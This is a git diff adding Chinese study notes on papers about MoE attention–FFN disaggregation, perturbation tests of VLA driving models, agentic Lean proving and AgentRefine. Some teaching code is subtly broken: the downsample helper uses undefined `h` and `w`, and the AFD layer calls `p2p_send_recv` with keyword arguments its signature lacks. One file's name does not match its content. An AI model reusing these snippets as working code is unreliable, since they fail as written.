+Agent 场景下 prefix 极大，KV 常驻显存；同时用户仍要求 **TTFT**（首 token 时间）和 **TPOT**（每 token 延迟）达标。聚合部署常因**单卡显存上限**直接 infeasible。
+
+### 3. 异构机房趋势让 AFD 从「学术玩具」变「基础设施原语」
+
+NVIDIA Groq LPX、Rubin CPX、Intel/SambaNova 等方向都在做**节点内异构加速器**。AFD 天然匹配：**内存大的卡跑 Attention，算力强的卡跑 FFN**。
+
+---
+
+## 三层解耦：从粗到细
+
+```text
+Level 0  聚合（Aggregated）
+         同一组 GPU 顺序跑 prefill + decode + attention + FFN
+
+Level 1  Chunked Prefill（如 Sarathi）
+         把长 prefill 切块，与 decode 交错，减气泡
+
+Level 2  P/D Disaggregation（如 Splitwise、DistServe）
+         Prefill 池 与 Decode 池 分开扩缩
+
+Level 3  AFD（Attention–FFN Disaggregation）
+         Attention GPU 池 与 MoE-FFN GPU 池 分开扩缩
+         每层两次跨池通信：A2F（dispatch）、F2A（combine）
+```
+
+**本文结论的高频模式：**
+
+- **系统总吞吐（tokens/s）**：多数面板上 **聚合 + chunked prefill** 仍最强——因为全副本数据并行，并发高。
+- **用户交互性（tokens/s/user，延迟）**：**AFD 在所有评测面板上都赢**——Attention/FFN 比例可按负载调。
+- **长上下文 / 超大 prefix**：非 AFD 可能**不可行**；AFD 通过**权重分片 + KV 留在 Attention 侧**，把单卡峰值显存从约 **298 GiB 降到 ~165 GiB**（Qwen3-235B，1M prefix 案例）。
+
+---
+
+## 核心概念
+
+### 1. AFD 的一层里四个流水线阶段
+
+每层 MoE block 在 AFD 下被拆成四段（可 micro-batch 重叠）：
+
+```text
+[1] Attention 计算     @ Attention GPU 池
+[2] A2F / MoE-Dispatch @ 网络：fan-out，FFN 侧 ingress 易成瓶颈
+[3] MoE-FFN 专家计算   @ FFN GPU 池
+[4] F2A / MoE-Combine  @ 网络：fan-in，Attention 侧 ingress 易成瓶颈
+```
+
+非 AFD 时，dispatch/combine 只在参与 EP 的 GPU 之间对称交换；AFD 下变成 **M 个 Attention rank × N 个 FFN rank** 的**二分图全连接**（all-pairs），通信模式完全不同。
+
+### 2. Attention : FFN GPU 比例 = Rate Matching（速率匹配）
+
+论文核心设计原则：**Attention 侧 GPU 只分配到「刚好跟得上 FFN 产出速率」为止**，其余 GPU 给 FFN。
+
+影响因素：
+
+- **注意力机制成本**：MLA + 稀疏注意力（DeepSeek-V3.2）→ Attention 便宜 → 极端 FFN-heavy（如 **2A+126F** on 128 GPU agentic）。
+- **稠密 GQA + 长 KV**（Qwen3）→ Attention 变重 → 比例向 Attention 倾斜（如 **8A+120F**）。
+- **Mamba2 混合**（Nemotron3）→ 长 prefix 要传播状态 → 有时 Attention-heavy（**96A+32F**）。
+
+这不是拍脑袋的 50:50，而是 **per-token attention 算力 + KV/state 显存** 与 **FFN matmul 吞吐** 的联立平衡。
+
+### 3. Batch Overlap（BO）与四段 micro-batch 流水线
+
+在全双工 NVLink / IB 上，AFD 可把 token budget 切成 **M 个 micro-batch**（M=4 对应四段流水线），让计算与通信重叠。稳态延迟近似：
+
+\[
+t_{\text{pipe}} = M \cdot s_{\max} + \sum_{i: s_i \neq s_{\max}} \frac{s_i}{L}
+\]
+
+其中 \(s_{\max}\) 是瓶颈阶段（Attention、A2F、FFN、F2A 之一）的单 micro-batch 成本，\(L\) 是层数。AIC++ 用 AIConfigurator 实测小 batch 的 kernel 成本，避免「线性外推」失真。
+
+### 4. 位置感知放置（Location-aware Placement）
+
+高频的 **层内 A2F/F2A**（每层每请求都发生）应压在 **节点内 NVLink（scale-up）**；较低频的 **跨节点 KV 搬运**（P/D 场景）走 **InfiniBand（scale-out）**。乱摆 GPU 会导致 scale-out 链路上 A2F/F2A 拥塞，抵消 AFD 收益。
+
+### 5. AIC++：为什么需要「kernel 实测 + 网络仿真」
+
+在 128 GPU 规模上暴力试几百种配置不现实。AIC++：
+
+1. 用 **AIConfigurator** 查表得到 Attention/FFN kernel 时间与显存；
+2. 用 **AstraSim** 把 A2F/F2A 展开为**二分流量矩阵**，包级仿真拥塞；
+3. 联合搜索 **TP / DP / EP / SP / PP + P/D + AFD 比例 + micro-batch 深度**。
+
+---
+
+## 代码示例 1：用配置结构表达 AFD 副本布局
+
+下面用 Python 风格伪代码描述论文中的 **replica 配置搜索空间**（非论文原文，但对应 AIC++ DSE 的枚举逻辑）：
+
+```python
+from dataclasses import dataclass
+from typing import Literal
+
+@dataclass
+class AfdReplica:
+    """一个推理副本：M 张 Attention GPU + N 张 FFN GPU"""
+    attn_gpus: int          # M
+    ffn_gpus: int           # N
+    tp_attn: int
+    tp_ffn: int
+    ep_ffn: int             # 专家并行度，通常 <= ffn_gpus
+    micro_batches: int = 4  # 四段 BO 流水线
+    mode: Literal["agg", "pd_disagg", "afd", "pd_afd"] = "afd"
+
+def is_memory_feasible(cfg: AfdReplica, model, workload) -> bool:
+    """聚合 vs AFD 的 per-GPU 显存估算（论文 §4.1.3 思路）"""
+    W, A, K, N, O = model.weight_gb, model.act_gb, workload.kv_gb, 8, 12
+    if cfg.mode in ("agg", "pd_disagg"):
+        m_shared = W + A + K + N + O
+        return m_shared <= model.gpu_hbm_gb
+    # AFD：权重/激活分到两侧，取较大者
+    m_attn = model.attn_weight_gb + A + K + N + O
+    m_ffn = model.ffn_weight_gb + A + N + O
+    m_afd = max(m_attn, m_ffn)
+    return m_afd <= model.gpu_hbm_gb
+
+def rate_match_ratio(attn_cost_per_tok: float, ffn_cost_per_tok: float,
+                     total_gpus: int) -> tuple[int, int]:
+    """粗粒度 Attention:FFN 比例（教学用，非闭式最优解）"""
+    # FFN 池大小 ∝ ffn_cost；Attention 只需跟上 FFN 发射速率
+    ffn_share = ffn_cost_per_tok / (attn_cost_per_tok + ffn_cost_per_tok)
+    n_ffn = max(1, round(total_gpus * ffn_share))
+    n_attn = total_gpus - n_ffn
+    return n_attn, n_ffn
+
+# 例：DeepSeek-V3.2 agentic — MLA+DSA 使 attention 极便宜
+cfg = AfdReplica(attn_gpus=2, ffn_gpus=126, tp_attn=1, tp_ffn=8, ep_ffn=126)
+assert is_memory_feasible(cfg, model=DeepSeekV32(), workload=AgenticCoding())
+print(rate_match_ratio(attn_cost_per_tok=0.2, ffn_cost_per_tok=9.8, total_gpus=128))
+# → 约 (2, 126)，与论文 DSE 最优同量级
+```
+
+要点：**`is_memory_feasible`** 解释为何 1M prefix 下聚合模式 infeasible；**`rate_match_ratio`** 解释为何会出现反直觉的 2A+126F。
+
+---
+
+## 代码示例 2：单层 AFD 前向与 A2F/F2A 通信骨架
+
+对应论文 §6.1 vLLM 原型：**router 在 Attention 侧**，M×N NCCL pair-group，FFN 只算本地专家分片：
+
+```python
+import torch
+import torch.distributed as dist
+
+class AfdMoELayer:
+  def __init__(self, attn_rank: int, ffn_rank: int, num_attn: int, num_ffn: int):
+    self.attn_rank = attn_rank
+    self.ffn_rank = ffn_rank
+    self.is_attn = ffn_rank is None
+    # 每个 (attn_i, ffn_j) 一对一个 NCCL group — 共 M*N 组
+    self.pair_group = self._bootstrap_pair_group(attn_rank, ffn_rank)
+
+  def forward_attn(self, hidden, router, shared_experts):
+    """Attention 侧：算 attention + 路由 + shared experts"""
+    x = self.attention(hidden)
+    topk_idx, topk_w = router(x)          # [tokens, k]
+    shared_out = shared_experts(x)
+    partials = []
+    for j in range(self.num_ffn):
+      payload = pack_dispatch(x, topk_idx, topk_w)   # hidden + ids + metadata
+      if j == self.ffn_rank:
+        recv = payload
+      else:
+        recv = p2p_send_recv(payload, peer_ffn=j, group=self.pair_group[j])
+      partials.append(recv)
+    # FFN 返回 partial 后 attention 侧 reduce
+    y = sum_partial_ffn_outputs(partials) + shared_out
+    return y
+
+  def forward_ffn(self, recv_payload, local_expert_fn):
+    """FFN 侧：只跑本 rank 上的专家 shard"""
+    tokens = filter_tokens_for_local_experts(recv_payload, self.local_expert_ids)
+    out = local_expert_fn(tokens)
+    return p2p_send_recv(out, peer_attn=self.attn_rank, group=self.pair_group)
+
+def p2p_send_recv(tensor, peer, group):
+  """NCCL send/recv on bipartite link — A2F fan-out / F2A fan-in 的基础原语"""
+  if dist.get_rank() < peer:
+    dist.send(tensor, dst=peer, group=group)
+    return None
+  buf = torch.empty_like(tensor)
+  dist.recv(buf, src=peer, group=group)
+  return buf
+```
+
+论文强调：**MoE 路径上不应再有 FFN↔FFN collective**；所有跨 worker 流量都在 **Attention↔FFN 二分图** 上。生产向库如 **StepMesh** 也采用类似 P2P 拓扑。
+
+---
+
+## 评测结论速查
+
+### SLO 严格时：只有 AFD 能「活下来」
+
+Figure 2：DeepSeek-V3.2 @ 128 B200，Chat/Coding/Agentic 分别要求 TTFT < 50/100/150 ms、TPOT ≤ 15 ms。非 AFD 搜索结果为 **infeasible（红叉）**；**Agg+AFD** 或 **P/D+AFD** 可达约 **4k tokens/s**。
+
+### 吞吐 vs 交互性的 Pareto 前沿（Figure 5）
+
+| 优化目标 | 常胜策略 | 原因 |
+|----------|----------|------|
+| **系统总吞吐** | 聚合 + chunked prefill，多副本 8 GPU EP | 全模型副本并行吞请求 |
+| **单用户延迟 / 交互性** | AFD + micro-batch overlap | 独立定标 M:N，削瓶颈等待 |
+| **超长上下文** | Agg+AFD 或 P/D+AFD | 显存分片 + BO |
+
+### 长上下文案例（Figure 6，Qwen3-235B @ B200）
+
+- **ISL=500k, OSL=10k**：最优 **Agg+AFD M4**，128 GPU 约 **2693 tok/s**，布局 **28A+4F**（7:1 Attention-heavy，长 prefill 吃 Attention）。
+- **Prefix=1M, ISL=4k, OSL=500**：非 AFD **不可行**（~298 GiB > 180 GiB）；AFD ~165 GiB 可放下，128 GPU 上 **Disagg+AFD** 略胜。
+
+---
+
+## 与其他工作的关系
+
+| 工作 | 关系 |
+|------|------|
+| [MegaScale-Infer (2504.02263)](https://arxiv.org/abs/2504.02263) | 字节跳动；提出 disaggregated expert parallelism + ping-pong pipeline；本文在其上系统量化 **何时 AFD + P/D + 并行策略叠加** |
+| [PagedAttention / vLLM (2309.06180)](https://arxiv.org/abs/2309.06180) | KV 分页；本文 AFD 原型基于 vLLM，PR #29772 |
+| [DistServe / Splitwise](https://arxiv.org/abs/2401.09670) | P/D 解耦基线 |
+| [Theoretically Optimal Attention/FFN Ratios (2601.21351)](https://arxiv.org/abs/2601.21351) | 互补理论工作：闭式 A/F 比例；本文用大规模 DSE + 网络仿真验证多模型多负载 |
+| [AIConfigurator (2601.06288)](https://arxiv.org/abs/2601.06288) | AIC++ 的算力建模底座 |
+
+---
+
+## 设计原则清单（给工程师的备忘）
+
+1. **先问优化目标**：要集群吞吐还是单用户延迟？前者多副本聚合；后者考虑 AFD。
+2. **再画 workload 三角**：ISL、OSL、prefix/KV 复用率——RAG 大 prefix 与 coding 长 ISL 走不同分支。
+3. **按模型调 A:F**：看 attention 类型（MLA、GQA、Mamba）比看参数量更重要。
+4. **通信放对层**：A2F/F2A 贴 NVLink；别把层内高频流量赶到 IB 上。
+5. **开 micro-batch overlap**：四段流水线在全双工链路上才有意义。
+6. **显存预算单独算**：`max(M_attn, M_ffn)` 而非 `M_shared`——这是长上下文可行性的关键。
+7. **接受更低并发**：每个 AFD 副本占 M+N 张卡，总吞吐不一定赢聚合，但**延迟和可行性**可能赢。
+
+---
+
+## 局限与未来工作
+
+- 集群结果主要是 **AIC++ 建模 + TensorRT-LLM 实测成本**，非全线上的端到端生产 trace。
+- 评测集中在 **B200 + FP8 MoE**；其他加速器、NPU、Groq 类异构节点需扩展 AIC++。
+- **AFD 不是默认最优**；盲目全集群 AFD 会浪费 GPU 并发。论文价值在于**可决策的边界**，而非「一律拆」。
+
+---
+
+## 一句话总结
+
+**MoE 推理的瓶颈在 Attention（内存/KV）与 FFN（算力/专家通信）之间来回切换；AFD 让你像调配前台与后厨人数一样独立扩缩两侧 GPU。解耦可以走很远——远到让 1M prefix 的 Qwen3 从「装不下」变成「能服务」——但在多数吞吐导向场景，粗粒度聚合仍是最划算的；AFD 的主场是严格延迟 SLO 与长上下文 Agent 负载。**
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.28302](https://arxiv.org/html/2605.28302v1)
+- vLLM AFD PR：[vllm-project/vllm#29772](https://github.com/vllm-project/vllm/pull/29772)
+- StepMesh（AFD 通信库）：[stepfun-ai/StepMesh](https://github.com/stepfun-ai/StepMesh)
+- 本库相关笔记：[megatron-core-moe-2026](/docs/papers/megatron-core-moe-2026)、[paged-attention-vllm](/docs/papers/paged-attention-vllm)、[expertflow-moe-offload](/docs/papers/expertflow-moe-offload)
diff --git a/src/content/docs/papers/agent-skill-protocol-2026.md b/src/content/docs/papers/agent-skill-protocol-2026.md
new file mode 100644
index 000000000..6381de9b4
--- /dev/null
+++ b/src/content/docs/papers/agent-skill-protocol-2026.md
@@ -0,0 +1,229 @@
+---
+title: "VLA 驾驶模型的视觉依赖诊断——用扰动实验回答一个问题：自动驾驶到底在多大程度上真的在"看"？"
+来源: https://arxiv.org/abs/2605.31041
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# VLA 驾驶模型的视觉依赖诊断
+
+> 论文：*Does Visual Information Play a Decisive Role in Vision-Language-Action Model Driving Behavior?*
+> 作者：Jingtao He, Hongliang Lu, Xiaoyun Qiu, Yixuan Wang, Xinhu Zheng（港科大广州）
+> 发表于 ITSC 2026
+
+---
+
+## 一、一个日常类比：蒙眼司机
+
+想象你是一名出租车司机。
+
+正常情况下，你看得到红绿灯、行人、前车，然后踩油门或刹车。这叫**端到端感知-决策**。
+
+现在，我们给这位司机做几个实验：
+
+1. **遮住眼睛**（移除图像输入），只靠他之前几秒的驾驶记忆和方向盘角度来继续开车——他会往哪边走？
+2. **给他一副模糊眼镜**（降低图像分辨率），他能辨认红绿灯吗？
+3. **把他熟悉的街道照片打乱顺序**（破坏空间结构），他还认得路吗？
+
+这篇论文要做的事情就是：**系统地给 VLA 驾驶模型做这类"蒙眼实验"，看看它到底在多大程度上真的依赖视觉信息。**
+
+---
+
+## 二、核心问题：模型性能高 = 真的在看吗？
+
+目前评测 VLA 模型（视觉-语言-动作模型）时，大家主要看两个指标：
+
+- **轨迹误差**：模型预测的路径离真实路径有多远
+- **碰撞率**：模拟驾驶中撞了多少次
+
+但这里有一个陷阱：**即使模型在干净输入上表现很好，也不代表它真的"看懂"了画面。** 它可能只是记住了训练数据里的统计规律，比如"前方有车道线就直行"，而并没有真正理解场景中的语义内容。
+
+这就好比一个学生考试考了高分，但我们不知道他是真的理解了题目，还是只是背下了答案。
+
+这篇论文的核心问题是：
+
+> **VLA 驾驶模型的行为，究竟在多大程度上由视觉输入驱动？**
+
+---
+
+## 三、方法：三级扰动框架
+
+作者提出了一个**结构化多级视觉扰动框架**，把"破坏视觉信息"这件事分成三个由浅入深的层次：
+
+### 3.1 通道级扰动（Channel-Level）——最低级
+
+直接在像素层面破坏图像，不改变场景的整体布局：
+
+- **高斯替换（Gaussian Replacement）**：把整张图替换成随机噪声图
+- **图像移除（Image Removal）**：完全不给模型看图，只用文字和历史状态
+
+这相当于"蒙住司机的眼睛"。
+
+### 3.2 信息级扰动（Information-Level）——语义密度
+
+保持图像的粗略空间结构，但减少其中的语义信息量：
+
+- **下采样**：把图缩小再放大，丢失细节
+- **随机 Token 剪枝**：随机丢弃图像编码后的一部分特征
+- **FastV 剪枝**：按重要性评分，丢弃不重要的 Token
+
+这相当于"让司机戴模糊眼镜"。
+
+### 3.3 结构级扰动（Structure-Level）——空间组织
+
+保留所有视觉信息，但打乱它们的空间排列关系：
+
+- **全局打乱**：把所有图像 Token 随机打乱顺序
+- **位置打乱**：只打乱位置编码，Token 本身不变
+- **分块打乱**：把图像切成小块，每块内部不变，块之间随机交换
+
+这相当于"给司机一张照片碎片拼图，但拼错了"。
+
+---
+
+## 四、核心概念详解
+
+### 4.1 什么是 VLA 模型？
+
+VLA = **Vision-Language-Action**（视觉-语言-动作）
+
+它是一个端到端模型，输入是摄像头图像 + 文本指令 + 车辆状态，输出是直接的控制指令（如转向角度、加速度）。
+
+与传统自动驾驶不同，传统方法把感知、预测、规划拆成三个独立模块；VLA 把它们合并成一个统一的多模态模型。
+
+### 4.2 什么是 Open-Loop 和 Closed-Loop？
+
+- **Open-Loop（开环）**：给定一段固定视频，模型预测未来轨迹，和真实轨迹对比。**模型的行为不会改变后续帧的画面。**
+- **Closed-Loop（闭环）**：模型在模拟器中实时驾驶，它的每一个决策都会影响下一帧的画面。**更接近真实驾驶场景。**
+
+关键发现：**同一个模型在两种设置下的视觉依赖程度完全不同。**
+
+### 4.3 依赖度计算公式
+
+论文定义了一个简单的相对性能变化公式：
+
+```
+D(T) = (M(扰动后的结果) - M(原始结果)) / |M(原始结果)|
+```
+
+其中 M 是评测指标（如 L2 误差或 NCAP 安全评分），D 越大说明模型越依赖被扰动的视觉信息。
+
+---
+
+## 五、代码示例
+
+### 5.1 扰动框架伪代码
+
+论文中的算法流程可以这样理解：
+
+```python
+# 输入：VLA 模型 f_θ，评测基准 B，评测函数 M，扰动族 T
+# 扰动族分为三个层级：通道级(T_ch)、信息级(T_inf)、结构级(T_str)
+
+# Step 1: 计算干净输入的基准性能
+baseline_score = M( f_θ(clean_image, state_info) )
+
+# Step 2: 遍历每个扰动层级
+for level in [channel, information, structure]:
+    for perturbation in T[level]:
+        # 构造扰动后的视觉表示
+        perturbed_image = perturbation(clean_image)
+
+        # 用扰动后的输入重新评测
+        perturbed_score = M( f_θ(perturbed_image, state_info) )
+
+        # 计算相对性能变化（依赖度）
+        dependency = (perturbed_score - baseline_score) / abs(baseline_score)
+
+        print(f"扰动类型: {perturbation.name}")
+        print(f"  依赖度: {dependency:.2%}")
+```
+
+### 5.2 具体扰动操作示例
+
+```python
+import torch
+import torchvision.transforms as T
+
+def gaussian_replacement(image, mean=0.0, std=1.0):
+    """通道级扰动：用高斯噪声替换原始图像"""
+    b, c, h, w = image.shape
+    noise = torch.randn_like(image) * std + mean
+    return noise
+
+def image_downsample(image, ratio=0.5):
+    """信息级扰动：下采样再上采样，丢失细节"""
+    small_h, small_w = int(h * ratio), int(w * ratio)
+    small = torch.nn.functional.interpolate(image, size=(small_h, small_w), mode='bilinear')
+    restored = torch.nn.functional.interpolate(small, size=(h, w), mode='bilinear')
+    return restored
+
+def token_pruning(tokens, keep_ratio=0.5):
+    """信息级扰动：随机丢弃部分视觉 Token"""
+    b, seq_len, dim = tokens.shape
+    num_keep = int(seq_len * keep_ratio)
+    indices = torch.randperm(seq_len)[:num_keep]
+    return tokens[:, indices, :]
+
+def global_shuffle(tokens):
+    """结构级扰动：全局打乱 Token 顺序"""
+    b, seq_len, dim = tokens.shape
+    shuffled_indices = torch.randperm(seq_len)
+    return tokens[:, shuffled_indices, :]
+
+def block_shuffle(tokens, block_size=4):
+    """结构级扰动：分块打乱"""
+    b, seq_len, dim = tokens.shape
+    num_blocks = seq_len // (block_size * block_size)
+    blocks = tokens.reshape(b, num_blocks, block_size * block_size, dim)
+    block_indices = torch.randperm(num_blocks)
+    return blocks[:, block_indices, :, :].reshape(b, seq_len, dim)
+```
+
+---
+
+## 六、关键发现
+
+### 发现 1：开环 vs 闭环，结果完全不同
+
+| 扰动类型 | 开环轨迹误差变化 | 闭环安全评分变化 |
+|---------|-----------------|-----------------|
+| 高斯替换 | +3.9%（很小） | -5.4%（中等） |
+| 图像移除 | +7.1%（很小） | -14.6%（较大） |
+| 下采样 90% | +2.6%（很小） | -31.5%（很大！） |
+
+**开环**（只看预测轨迹准不准）中，即使完全不看图，模型表现也只下降不到 10%。
+
+但**闭环**（真实模拟驾驶）中，同样的扰动会导致安全评分大幅下降——**真实交互中，视觉的重要性远比开环测试揭示的高得多。**
+
+### 发现 2：语义比细节更重要
+
+下采样（破坏语义形成阶段）造成的损害，远大于剪枝编码后的 Token（破坏已经形成的语义特征）。这说明模型在**交互控制**中依赖的是**高层语义**，而非原始像素细节。
+
+### 发现 3：空间结构很关键
+
+位置打乱（打乱 Token 的位置编码）造成的损害比内容打乱更大，说明**空间索引对视觉-语言对齐至关重要**。Transformer 模型中的位置编码机制在自动驾驶中扮演了重要角色。
+
+---
+
+## 七、为什么这篇论文值得读？
+
+1. **方法论价值**：提出的三级扰动框架不局限于 VLA 模型，可以推广到其他多模态系统的可解释性分析
+2. **安全警示**：开环评测可能严重低估模型对视觉的依赖程度，自动驾驶的安全评估需要更多闭环测试
+3. **设计指导**：告诉模型设计者——与其堆砌视觉细节，不如确保高层语义和空间结构的正确建模
+
+---
+
+## 八、一句话总结
+
+> **VLA 驾驶模型在"纸上谈兵"（开环评测）时看起来不怎么需要视觉，但在"真刀真枪"（闭环驾驶）时，视觉信息尤其是语义内容和空间结构，对安全至关重要。**
+
+---
+
+## 延伸阅读
+
+- Impromptu-VLA 原始论文：arXiv:2505.23757
+- nuScenes 自动驾驶数据集：CVPR 2020
+- FastV 高效视觉语言模型推理：ECCV 2024
diff --git a/src/content/docs/papers/agentic-proving-for-program-verification-arxiv-2605-23772.md b/src/content/docs/papers/agentic-proving-for-program-verification-arxiv-2605-23772.md
new file mode 100644
index 000000000..9b0b91628
--- /dev/null
+++ b/src/content/docs/papers/agentic-proving-for-program-verification-arxiv-2605-23772.md
@@ -0,0 +1,191 @@
+---
+title: Agentic Proving for Program Verification
+来源: https://arxiv.org/abs/2605.23772
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Agentic Proving for Program Verification — 学习笔记
+
+## 一句话总结
+
+这篇论文研究的是：让 AI 代理（Claude Code）像数学家一样，不仅"写出程序"，还要"证明程序是对的"。
+
+## 日常类比：餐厅厨房的质检员
+
+想象你是一家餐厅的老板：
+
+- **写代码** = 厨师做一道菜
+- **程序验证** = 质检员检查这道菜是否完全符合菜谱
+
+传统方式：质检员只能看"菜做完了没有"。
+
+这篇论文的做法：让 AI 同时当厨师 AND 质检员——它先自己写菜谱（规格），再做菜（实现），最后还给自己写的菜谱和做的菜出一份"合格证明"。
+
+而且这个 AI 很诚实：如果发现菜谱本身有 bug，它会说"这道题的菜谱写错了，我证明不了"。
+
+## 核心概念拆解
+
+### 1. 形式化验证 (Formal Verification)
+
+传统编程中，我们用"跑一下看结果对不对"来测试代码。形式化验证更进一步：用数学逻辑严格证明代码对所有输入都正确。
+
+就像你在做数学题——不仅要算出答案，还要写出完整的证明过程。
+
+```
+伪代码类比：
+普通测试：assert square_root(4) == 2
+形式化证明：∀x ≥ 0, result * result = x ∧ result ≥ 0
+```
+
+### 2. Lean 4 定理证明器
+
+Lean 4 是一种"机器可读的数学语言"。你把程序规范和证明用 Lean 写出来，它会像一个极其严格的编译器——连一个括号错误都不能放过。
+
+```lean
+-- 这是一个 Lean 4 的规范示例：
+-- 描述一个"返回列表最大值"的函数
+
+theorem max_correct (lst : List Int) :
+  -- 前提：列表不能为空
+  lst.length > 0 →
+  -- 结论：返回值一定是列表中的某个元素，且大于等于所有其他元素
+  ∃ m, m ∈ lst ∧ ∀ x ∈ lst, x ≤ m
+```
+
+注意：上面这段是**规范**（specification），不是代码实现。它只说了"最大值应该满足什么条件"，没说是怎么算出来的。
+
+### 3. Agentic Proving（代理式证明）
+
+传统方式：人写规范，人写代码，人写证明。
+
+这篇论文的方式：AI 代理（Claude Code）自己完成三步：
+
+```
+Step 1: Spec Generation  →  AI 读自然语言描述，写出形式化规范
+Step 2: Implementation   →  AI 根据规范写出代码实现
+Step 3: Proof Generation →  AI 证明实现满足规范
+```
+
+整个过程有一个"编译器在环"（compiler-in-the-loop）：AI 每写一段就编译，报错就自己改，直到通过。
+
+## 论文的实验与发现
+
+### 实验设置
+
+- **数据集**：CLEVER 基准，161 个编程问题（改编自 HumanEval）
+- **AI 模型**：Claude Opus 4.6 + Claude Code 代理
+- **工具**：lean-lsp-mcp（搜索定理库）+ lean4-skills（Lean 专用技能包）
+
+### 关键数据
+
+| 任务 | 成功率 | 说明 |
+|------|--------|------|
+| 生成规范 | 98.8% | AI 写出了合理规范 |
+| 规范等价证明 | 81.3% | 规范与参考答案语义等价 |
+| 实现+证明 | 87.5% | 基于正确答案中的规范 |
+| 端到端（全流程） | 98.1% | 规范+实现+证明全部通过 |
+
+### 重要发现：基准测试本身有 bug
+
+AI 在实验中发现 CLEVER 数据集的 80/161 个问题的参考答案规范有 bug。这就像学生考试时发现试卷出题有误——AI 会主动报告，而不是瞎猜一个答案。
+
+常见的 bug 类型：
+- 用"且"代替了"如果"（逻辑表达错误）
+- 运算符优先级搞错
+- 对无效输入做了没有意义的断言
+- 完全误解了题目要求
+
+## 代码示例深入
+
+### 示例 1：规范生成（Spec Generation）
+
+假设题目描述是："写一个函数，反转列表"。
+
+自然语言描述：
+```python
+def reverse_list(lst):
+    """Reverse the order of elements in a list."""
+```
+
+AI 生成的 Lean 4 规范（形式化）：
+```lean
+theorem reverse_spec (lst : List α) :
+  -- 反转后的列表长度为原列表长度
+  (reverse lst).length = lst.length ∧
+  -- 反转后的列表的第 i 个元素，
+  -- 等于原列表的倒数第 i 个元素
+  ∀ i < lst.length,
+    reverse lst [i] = lst [lst.length - 1 - i]
+```
+
+这就是把一句人话"反转列表"翻译成了机器可验证的数学声明。
+
+### 示例 2：实现与证明（Implementation + Proof）
+
+继续上面的例子。
+
+AI 生成的实现：
+```lean
+def reverse_impl (lst : List α) : List α :=
+  lst.foldl (fun acc x => x :: acc) []
+```
+
+AI 生成的证明（简化版）：
+```lean
+theorem reverse_impl_correct (lst : List α) :
+  reverse_impl lst = lst.reverse := by
+  -- 用数学归纳法证明
+  induction lst with
+  | nil =>
+      -- 基本情况：空列表反转还是空列表
+      simp [reverse_impl, reverse]
+  | cons hd tl ih =>
+      -- 归纳步骤：假设 tl 的 reverse 是对的
+      -- 证明 hd :: tl 的 reverse 也是对的
+      simp [reverse_impl, reverse, ih]
+      -- 这里需要一些辅助引理来处理 cons 操作
+      sorry -- 实际证明会很长
+```
+
+这个证明的核心思路是**数学归纳法**：先验证空列表的情况，然后假设"较短的列表正确"，推导出"再加一个元素也正确"。
+
+### 示例 3：AI 自我诊断
+
+当规范本身有 bug 时，AI 的输出示例：
+
+```lean
+-- AI 的反馈（非 Lean 代码，是自然语言分析）：
+-- Problem 123 (Collatz iterator):
+-- 此问题的规范存在根本性缺陷。
+-- 规范声称迭代最终会回到 1，
+-- 但这正是尚未被证明的 Collatz 猜想。
+-- 因此无法构造有效的正确性证明。
+-- 分类：issue（基准测试本身有错误）
+```
+
+这种"知道自已不知道"的能力，恰恰是 Agentic Proving 相比传统自动化定理证明的关键优势。
+
+## 论文的几个重要结论
+
+1. **编译器在环的代理范式目前最强** —— 让 AI 边写边编译、边报错边改，比一次性生成整个证明更有效。
+
+2. **现有基准测试不够难了** —— 像 CLEVER 这种专门为挑战 AI 设计的测试集，现在 AI 几乎能满分通过。这意味着基准测试需要重新设计。
+
+3. **等价位评分有问题** —— 目前评测规范质量的方法（看 AI 写的规范是否与参考答案"等价"）有结构性缺陷。因为自然语言描述本身有歧义，参考答案只是"其中一种解读"，AI 给出另一种同样合理的解读就不该被判错。
+
+4. **AI 的自我诊断能力可靠** —— 人工审查确认 AI 对失败原因的分类和论证都是准确的。
+
+## 对我（零基础学习者）的启发
+
+这篇论文其实展示了一个有趣的范式转变：
+
+- **过去**：程序验证 = 专家花几个月手动证明程序正确
+- **现在**：AI 代理可以在几分钟内自动生成规范、实现和证明
+- **未来**：也许每个程序员都能让 AI 为自己的代码写形式化证明
+
+但论文也提醒我们：AI 不是万能的。它发现基准测试本身的 bug 时，需要人工确认；它生成的规范与参考答案不等价时，需要判断哪一个是"正确的解读"。这些仍然需要人类的专业判断。
+
+就像上面餐厅的类比：AI 可以做大部分质检工作，但最终"这道菜该是什么味道"的定义权，还在厨师（你）手里。
diff --git a/src/content/docs/papers/agentrefine.md b/src/content/docs/papers/agentrefine.md
new file mode 100644
index 000000000..b8ee0fcb3
--- /dev/null
+++ b/src/content/docs/papers/agentrefine.md
@@ -0,0 +1,339 @@
+---
+title: "AgentRefine 学习笔记：通过修正微调增强智能体泛化能力"
+来源: https://arxiv.org/abs/2501.01702
+日期: 2026-06-13
+分类: 机器学习
+子分类: 智能体
+provenance: pipeline-v3
+---
+
+# AgentRefine：通过修正微调增强智能体泛化能力
+
+## 一、日常类比：为什么"会改错"比"背答案"更重要
+
+想象你让一个学生做数学题。传统的训练方式是给他 100 道一模一样的练习题，他背下了答案和步骤——这就是"记忆"。考试时如果题目完全一样，他能满分；但题目稍微变一下数字或问法，他就懵了。
+
+AgentRefine 的核心理念是：**与其让学生背答案，不如让他学会从错误中改正**。
+
+具体做法是：
+
+1. 给学生出一道新题
+2. 他先做一次（可能会犯错）
+3. 老师指出错误原因
+4. 学生根据反馈修正自己的做法
+5. 重复这个过程
+
+关键洞察是：**修正错误的过程本身，就是在学习**。模型不是记住了"看到 A 就选 B"，而是学会了"当我看到结果不对时，我应该反思并调整"。
+
+这就像程序员调试代码——你不需要背诵每种错误的修复方法，你学会的是"读错误信息 -> 理解哪里出了问题 -> 修正代码"这个通用能力。
+
+## 二、背景与问题
+
+### 2.1 LLM 智能体的"记忆"困境
+
+大语言模型（LLM）作为智能体的核心控制器，已经在复杂任务中展现了类人能力（如 AutoGPT、BabyAGI 等项目）。开源模型（如 LLaMA、Mistral）正在成为商业模型（GPT-4）的有力替代。
+
+许多研究通过**指令微调**（instruction tuning）来提升开源模型的智能体能力。方法是在特定任务数据上训练模型，让它学会"思考-行动-观察"的循环（即 ReAct 范式）。
+
+### 2.2 核心问题：泛化能力差
+
+研究团队发现了一个关键现象：
+
+| 评估类型 | 定义 | 现有方法的表現 |
+|---------|------|--------------|
